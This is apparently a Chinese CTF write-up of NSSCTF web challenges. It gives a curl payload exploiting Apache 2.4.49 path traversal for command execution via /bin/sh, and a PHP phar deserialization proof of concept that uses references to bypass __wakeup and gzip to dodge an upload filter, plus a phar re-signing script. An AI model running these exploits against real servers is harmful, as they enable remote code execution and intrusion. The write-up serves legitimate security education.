1zweb

非预期,直接读flag

1
/flag

ez_rce

经典Apache2.4.49 路径穿越漏洞

直接上payload:

1
curl -X  POST -d "echo;ls /flag_is_here;grep -r "NSS" /flag_is_here" <http://1.116.210.145:28122/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh>

1zweb(revenge)

  • 经典phar+gzip+php引用绕过__wakeup

直接用php伪协议读取源码:index.php | upload.php

index.php ,存在一个类可以进行RCE,并且可以进行任意文件读取,不过这里把flag过滤了,但是既然存在对文件的操作,自然而然就是phar协议进行反序列化咯

但是注意这里的类存在__wakeup ,虽然该环境的php版本符合某个cve,但是phar文件内容不可以随便更改,所有就不能利用了,所以要用php引用绕过。在wakeup中可以发现我们需要的值进行了互换,那么如果LoveNss2ljt引用LoveNss1dky ,而在LoveNss1__wakeup最后才会执行实现了LoveNss2->ljt = Misc ,实现LoveNss2#destruct 中的rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
// phpinfo();
}
public function __destruct(){
// phpinfo();
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/i", $file)) {
die("nonono");
}
echo file_get_contents($file);
}

但是在upload.php 中做了一些过滤,可以看到对后缀名进行了白名单,不过phar并不介意这个。但是在后面会根据判断文件内容中是否存在__HALT_COMPILER(); ,直接不能直接利用phar文件改后缀名绕过了,不过可以利用gzip绕过,phar也是可以解析的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
// phpinfo();
}
public function __destruct(){
// if($this->ljt==="Misc"&&$this->dky==="Re")
// eval($this->cmd);
}
public function __wakeup(){
// $this->ljt="Re";
// $this->dky="Misc";
}
}

$a = new LoveNss();
$b = new LoveNss();
$a->cmd = $b;
$b->ljt = &$a->dky;
$b->dky = &$a->ljt;
$b->cmd = 'system(\\'ls /;cat /f*\\');';
$phar = new Phar("a.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

flag:

1
NSSCTF{b652ce9b-4837-49aa-871d-0c5b33eea4d1}

更新

前面说但是phar文件内容不可以随便更改,所有就不能利用了,严格来说是错误的,phar文件内容可以修改,但是要重新写入签名

1
2
3
4
5
6
7
from hashlib import sha1

f = open('./phar1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件